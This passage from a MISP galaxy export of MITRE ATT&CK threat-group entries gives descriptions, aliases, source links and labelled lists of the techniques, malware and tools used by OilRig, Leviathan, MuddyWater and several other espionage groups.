uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="RGDoor - S0258" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="netstat - S0104" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Redundant Access - T1108" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Tasklist - S0057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote Services - T1021" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="SEASHARPEE - S0185" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Reg - S0075" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="OopsIE - S0264" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1100" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1066" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="POWRUNER - S0184" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Helminth - S0170" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="ISMInjector - S0189" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="certutil - S0160" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="LaZagne - S0349" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Systeminfo - S0096" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="ipconfig - S0100" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Password Policy Discovery - T1201" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1223" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="FTP - S0095" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="QUADAGENT - S0269" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="BONDUPDATER - S0360" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing via Service - T1194" with estimative-language:likelihood-probability="almost-certain"

Table 3047. Table References
Links
https://attack.mitre.org/groups/G0049
http://researchcenter.paloaltonetworks.com/2017/04/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/
http://www.clearskysec.com/oilrig/
http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/
http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/
https://pan-unit42.github.io/playbook_viewer/
https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html
https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/
https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/

NEODYMIUM - G0055

[NEODYMIUM](https://attack.mitre.org/groups/G0055) is an activity group that conducted a campaign in May 2016 and has heavily targeted Turkish victims. The group has demonstrated similarity to another activity group called [PROMETHIUM](https://attack.mitre.org/groups/G0056) due to overlapping victim and campaign characteristics. (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21) [NEODYMIUM](https://attack.mitre.org/groups/G0055) is reportedly associated closely with [BlackOasis](https://attack.mitre.org/groups/G0063) operations, but evidence that the group names are aliases has not been identified. (Citation: CyberScoop BlackOasis Oct 2017)

The tag is: misp-galaxy:mitre-intrusion-set="NEODYMIUM - G0055"

NEODYMIUM - G0055 is also known as:

NEODYMIUM

NEODYMIUM - G0055 has relationships with:

similar: misp-galaxy:microsoft-activity-group="NEODYMIUM" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:threat-actor="NEODYMIUM" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-malware="Wingbird - S0176" with estimative-language:likelihood-probability="almost-certain"

Table 3048. Table References
Links
https://attack.mitre.org/groups/G0055
https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/
http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf
https://www.cyberscoop.com/middle-eastern-hacking-group-using-finfisher-malware-conduct-international-espionage/

PROMETHIUM - G0056

[PROMETHIUM](https://attack.mitre.org/groups/G0056) is an activity group that has been active since at least 2012. The group conducted a campaign in May 2016 and has heavily targeted Turkish victims. [PROMETHIUM](https://attack.mitre.org/groups/G0056) has demonstrated similarity to another activity group called [NEODYMIUM](https://attack.mitre.org/groups/G0055) due to overlapping victim and campaign characteristics. (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)

The tag is: misp-galaxy:mitre-intrusion-set="PROMETHIUM - G0056"

PROMETHIUM - G0056 is also known as:

PROMETHIUM

PROMETHIUM - G0056 has relationships with:

similar: misp-galaxy:microsoft-activity-group="PROMETHIUM" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:threat-actor="PROMETHIUM" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-malware="Truvasys - S0178" with estimative-language:likelihood-probability="almost-certain"

Table 3049. Table References
Links
https://attack.mitre.org/groups/G0056
https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/
http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf

Leviathan - G0065

[Leviathan](https://attack.mitre.org/groups/G0065) is a cyber espionage group that has been active since at least 2013. The group generally targets defense and government organizations, but has also targeted a range of industries including engineering firms, shipping and transportation, manufacturing, defense, government offices, and research universities in the United States, Western Europe, and along the South China Sea. (Citation: Proofpoint Leviathan Oct 2017) (Citation: FireEye Periscope March 2018)

The tag is: misp-galaxy:mitre-intrusion-set="Leviathan - G0065"

Leviathan - G0065 is also known as:

Leviathan
TEMP.Jumper
APT40
TEMP.Periscope

Leviathan - G0065 has relationships with:

similar: misp-galaxy:threat-actor="Leviathan" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-malware="Derusbi - S0021" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="BITSAdmin - S0190" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="HOMEFRY - S0232" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1117" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="NanHaiShu - S0228" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="MURKYTOP - S0233" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1084" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="China Chopper - S0020" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1009" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Orz - S0229" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="BLACKCOFFEE - S0069" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote Services - T1021" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1100" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Windows Credential Editor - S0005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="at - S0110" with estimative-language:likelihood-probability="almost-certain"

Table 3050. Table References
Links
https://attack.mitre.org/groups/G0065
https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html
https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html

Rancor - G0075

[Rancor](https://attack.mitre.org/groups/G0075) is a threat group that has led targeted campaigns against the South East Asia region. [Rancor](https://attack.mitre.org/groups/G0075) uses politically-motivated lures to entice victims to open malicious documents. (Citation: Rancor Unit42 June 2018)

The tag is: misp-galaxy:mitre-intrusion-set="Rancor - G0075"

Rancor - G0075 is also known as:

Rancor

Rancor - G0075 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="PLAINTEE - S0254" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="certutil - S0160" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="DDKONG - S0255" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Reg - S0075" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Signed Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 3051. Table References
Links
https://attack.mitre.org/groups/G0075
https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/

Machete - G0095

[Machete](https://attack.mitre.org/groups/G0095) is a group that has been active since at least 2010, targeting high-profile government entities in Latin American countries.(Citation: Cylance Machete Mar 2017)(Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019)

The tag is: misp-galaxy:mitre-intrusion-set="Machete - G0095"

Machete - G0095 is also known as:

Machete
El Machete

Machete - G0095 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Machete - S0409" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"

Table 3052. Table References
Links
https://attack.mitre.org/groups/G0095
https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html
https://securelist.com/el-machete/66108/
https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf

Elderwood - G0066

[Elderwood](https://attack.mitre.org/groups/G0066) is a suspected Chinese cyber espionage group that was reportedly responsible for the 2009 Google intrusion known as Operation Aurora. (Citation: Security Affairs Elderwood Sept 2012) The group has targeted defense organizations, supply chain manufacturers, human rights and nongovernmental organizations (NGOs), and IT service providers. (Citation: Symantec Elderwood Sept 2012) (Citation: CSM Elderwood Sept 2012)

The tag is: misp-galaxy:mitre-intrusion-set="Elderwood - G0066"

Elderwood - G0066 is also known as:

Elderwood
Elderwood Gang
Beijing Group
Sneaky Panda

Elderwood - G0066 has relationships with:

similar: misp-galaxy:threat-actor="Beijing Group" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1195" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Linfo - S0211" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Briba - S0204" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Naid - S0205" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Hydraq - S0203" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Nerex - S0210" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Wiarp - S0206" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Vasport - S0207" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Pasam - S0208" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 3053. Table References
Links
https://attack.mitre.org/groups/G0066
http://securityaffairs.co/wordpress/8528/hacking/elderwood-project-who-is-behind-op-aurora-and-ongoing-attacks.html
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf
https://www.csmonitor.com/USA/2012/0914/Stealing-US-business-secrets-Experts-ID-two-huge-cyber-gangs-in-China

Thrip - G0076

[Thrip](https://attack.mitre.org/groups/G0076) is an espionage group that has targeted satellite communications, telecoms, and defense contractor companies in the U.S. and Southeast Asia. The group uses custom malware as well as "living off the land" techniques. (Citation: Symantec Thrip June 2018)

The tag is: misp-galaxy:mitre-intrusion-set="Thrip - G0076"

Thrip - G0076 is also known as:

Thrip

Thrip - G0076 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Remote Access Tools - T1219" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Catchamas - S0261" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 3054. Table References
Links
https://attack.mitre.org/groups/G0076
https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets

PLATINUM - G0068

[PLATINUM](https://attack.mitre.org/groups/G0068) is an activity group that has targeted victims since at least 2009. The group has focused on targets associated with governments and related organizations in South and Southeast Asia. (Citation: Microsoft PLATINUM April 2016)

The tag is: misp-galaxy:mitre-intrusion-set="PLATINUM - G0068"

PLATINUM - G0068 is also known as:

PLATINUM

PLATINUM - G0068 has relationships with:

similar: misp-galaxy:microsoft-activity-group="PLATINUM" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:threat-actor="PLATINUM" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="Dipsind - S0200" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="JPIN - S0201" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="adbupd - S0202" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Hooking - T1179" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

Table 3055. Table References
Links
https://attack.mitre.org/groups/G0068
https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf

MuddyWater - G0069

[MuddyWater](https://attack.mitre.org/groups/G0069) is an Iranian threat group that has primarily targeted Middle Eastern nations, and has also targeted European and North American nations. The group’s victims are mainly in the telecommunications, government (IT services), and oil sectors. Activity from this group was previously linked to [FIN7](https://attack.mitre.org/groups/G0046), but the group is believed to be a distinct group possibly motivated by espionage.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)(Citation: ClearSky MuddyWater Nov 2018)

The tag is: misp-galaxy:mitre-intrusion-set="MuddyWater - G0069"

MuddyWater - G0069 is also known as:

MuddyWater
Seedworm
TEMP.Zagros

MuddyWater - G0069 has relationships with:

similar: misp-galaxy:threat-actor="MuddyWater" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-malware="POWERSTATS - S0223" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="CMSTP - T1191" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1173" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Component Object Model and Distributed COM - T1175" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Mshta - T1170" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
